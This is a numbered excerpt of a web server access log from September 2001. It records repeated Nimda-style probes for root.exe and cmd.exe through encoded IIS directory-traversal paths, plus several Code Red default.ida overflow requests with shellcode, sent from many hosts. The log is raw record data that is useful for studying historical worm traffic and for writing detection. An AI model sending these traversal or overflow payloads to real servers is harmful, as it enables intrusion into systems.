  10659. 20010919 11:20:29: olooney.cviog.uga.edu [128.192.30.206] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10660. 20010919 11:20:29: olooney.cviog.uga.edu [128.192.30.206] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10661. 20010919 11:20:29: olooney.cviog.uga.edu [128.192.30.206] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10662. 20010919 11:20:29: olooney.cviog.uga.edu [128.192.30.206] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10663. 20010919 11:20:29: olooney.cviog.uga.edu [128.192.30.206] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10664. 20010919 11:20:29: olooney.cviog.uga.edu [128.192.30.206] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10665. 20010919 11:20:29: olooney.cviog.uga.edu [128.192.30.206] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10666. 20010919 11:20:29: olooney.cviog.uga.edu [128.192.30.206] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10667. 20010919 11:20:30: olooney.cviog.uga.edu [128.192.30.206] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10668. 20010919 11:20:30: olooney.cviog.uga.edu [128.192.30.206] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10669. 20010919 11:20:30: olooney.cviog.uga.edu [128.192.30.206] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10670. 20010919 11:20:30: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  10671. 20010919 11:23:25: vas.ais.columbia.edu [128.59.59.252] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  10672. 20010919 11:23:25: vas.ais.columbia.edu [128.59.59.252] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10673. 20010919 11:23:26: vas.ais.columbia.edu [128.59.59.252] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10674. 20010919 11:23:26: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10675. 20010919 11:23:27: vas.ais.columbia.edu [128.59.59.252] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10676. 20010919 11:23:27: vas.ais.columbia.edu [128.59.59.252] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10677. 20010919 11:23:27: vas.ais.columbia.edu [128.59.59.252] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10678. 20010919 11:23:27: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10679. 20010919 11:23:27: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10680. 20010919 11:23:27: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10681. 20010919 11:23:27: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10682. 20010919 11:23:27: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10683. 20010919 11:23:27: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10684. 20010919 11:23:28: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10685. 20010919 11:23:28: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10686. 20010919 11:23:28: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  10687. 20010919 11:31:01: fms97.facil.columbia.edu [128.59.244.149] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  10688. 20010919 11:31:01: fms97.facil.columbia.edu [128.59.244.149] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10689. 20010919 11:31:01: fms97.facil.columbia.edu [128.59.244.149] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10690. 20010919 11:31:03: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10691. 20010919 11:31:04: fms97.facil.columbia.edu [128.59.244.149] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10692. 20010919 11:31:04: fms97.facil.columbia.edu [128.59.244.149] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10693. 20010919 11:31:05: fms97.facil.columbia.edu [128.59.244.149] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10694. 20010919 11:31:05: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10695. 20010919 11:31:06: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10696. 20010919 11:31:06: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10697. 20010919 11:31:07: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10698. 20010919 11:31:07: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10699. 20010919 11:31:08: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10700. 20010919 11:31:08: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10701. 20010919 11:31:09: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10702. 20010919 11:31:09: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  10703. 20010919 11:32:50: hcall.com [128.134.20.3] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  10704. 20010919 11:43:30: hcall.com [128.134.20.3] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  10705. 20010919 11:43:30: hcall.com [128.134.20.3] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10706. 20010919 11:43:31: hcall.com [128.134.20.3] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10707. 20010919 11:43:32: hcall.com [128.134.20.3] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10708. 20010919 11:43:32: hcall.com [128.134.20.3] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10709. 20010919 11:43:33: hcall.com [128.134.20.3] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10710. 20010919 11:43:33: hcall.com [128.134.20.3] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10711. 20010919 11:43:37: hcall.com [128.134.20.3] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10712. 20010919 11:43:37: hcall.com [128.134.20.3] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10713. 20010919 11:43:38: hcall.com [128.134.20.3] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10714. 20010919 11:43:39: hcall.com [128.134.20.3] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10715. 20010919 11:43:42: hcall.com [128.134.20.3] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10716. 20010919 11:43:43: hcall.com [128.134.20.3] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10717. 20010919 11:43:43: hcall.com [128.134.20.3] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10718. 20010919 11:43:44: hcall.com [128.134.20.3] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10719. 20010919 11:43:45: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  10720. 20010919 11:49:57: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  10721. 20010919 11:49:57: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10722. 20010919 11:49:57: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10723. 20010919 11:49:58: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10724. 20010919 11:49:58: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10725. 20010919 11:49:58: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10726. 20010919 11:49:58: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10727. 20010919 11:49:59: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10728. 20010919 11:49:59: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10729. 20010919 11:49:59: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10730. 20010919 11:49:59: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10731. 20010919 11:49:59: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10732. 20010919 11:50:00: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10733. 20010919 11:50:00: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10734. 20010919 11:50:00: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10735. 20010919 11:50:00: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  10736. 20010919 11:55:17: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  10737. 20010919 11:55:17: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10738. 20010919 11:55:18: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10739. 20010919 11:55:18: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10740. 20010919 11:55:18: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10741. 20010919 11:55:19: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10742. 20010919 11:55:19: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10743. 20010919 11:55:19: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10744. 20010919 11:55:19: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10745. 20010919 11:55:19: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10746. 20010919 11:55:20: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10747. 20010919 11:55:20: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10748. 20010919 11:55:20: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10749. 20010919 11:55:20: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10750. 20010919 11:55:21: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10751. 20010919 11:55:21: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  10752. 20010919 11:56:00: vas.ais.columbia.edu [128.59.59.252] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  10753. 20010919 11:56:00: vas.ais.columbia.edu [128.59.59.252] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10754. 20010919 11:56:01: vas.ais.columbia.edu [128.59.59.252] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10755. 20010919 11:56:01: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10756. 20010919 11:56:01: vas.ais.columbia.edu [128.59.59.252] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10757. 20010919 11:56:01: vas.ais.columbia.edu [128.59.59.252] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10758. 20010919 11:56:01: vas.ais.columbia.edu [128.59.59.252] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10759. 20010919 11:56:01: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10760. 20010919 11:56:02: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10761. 20010919 11:56:02: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10762. 20010919 11:56:02: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10763. 20010919 11:56:02: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10764. 20010919 11:56:02: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10765. 20010919 11:56:02: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10766. 20010919 11:56:02: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10767. 20010919 11:56:02: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  10768. 20010919 11:57:35: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  10769. 20010919 11:57:35: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10770. 20010919 11:57:35: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10771. 20010919 11:57:35: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10772. 20010919 11:57:35: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10773. 20010919 11:57:35: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10774. 20010919 11:57:35: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10775. 20010919 11:57:36: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10776. 20010919 11:57:36: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10777. 20010919 11:57:36: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10778. 20010919 11:57:36: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10779. 20010919 11:57:36: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10780. 20010919 11:57:36: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10781. 20010919 11:57:37: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10782. 20010919 11:57:37: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10783. 20010919 11:57:37: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  10784. 20010919 12:06:54: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  10785. 20010919 12:06:54: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10786. 20010919 12:06:54: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10787. 20010919 12:06:54: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10788. 20010919 12:06:54: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10789. 20010919 12:06:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10790. 20010919 12:06:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10791. 20010919 12:06:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10792. 20010919 12:06:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10793. 20010919 12:06:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10794. 20010919 12:06:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10795. 20010919 12:06:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10796. 20010919 12:06:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10797. 20010919 12:06:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10798. 20010919 12:06:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10799. 20010919 12:06:56: 128-241-248-119.sdsl-248.core1.usonet.com [128.241.248.119] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  10800. 20010919 12:12:19: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  10801. 20010919 12:12:20: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  10802. 20010919 12:12:20: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10803. 20010919 12:12:20: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10804. 20010919 12:12:20: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10805. 20010919 12:12:20: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10806. 20010919 12:12:21: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10807. 20010919 12:12:21: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10808. 20010919 12:12:21: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10809. 20010919 12:12:21: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10810. 20010919 12:12:22: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10811. 20010919 12:12:22: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10812. 20010919 12:12:22: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10813. 20010919 12:12:22: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10814. 20010919 12:12:23: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10815. 20010919 12:12:23: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10816. 20010919 12:12:23: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  10817. 20010919 12:17:46: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  10818. 20010919 12:17:49: sql-server.jrn.columbia.edu [128.59.96.106] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  10819. 20010919 12:17:49: sql-server.jrn.columbia.edu [128.59.96.106] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10820. 20010919 12:17:50: sql-server.jrn.columbia.edu [128.59.96.106] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10821. 20010919 12:17:51: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10822. 20010919 12:17:51: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10823. 20010919 12:17:51: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10824. 20010919 12:17:51: sql-server.jrn.columbia.edu [128.59.96.106] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10825. 20010919 12:17:51: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10826. 20010919 12:17:51: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10827. 20010919 12:17:51: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10828. 20010919 12:17:51: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10829. 20010919 12:17:52: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
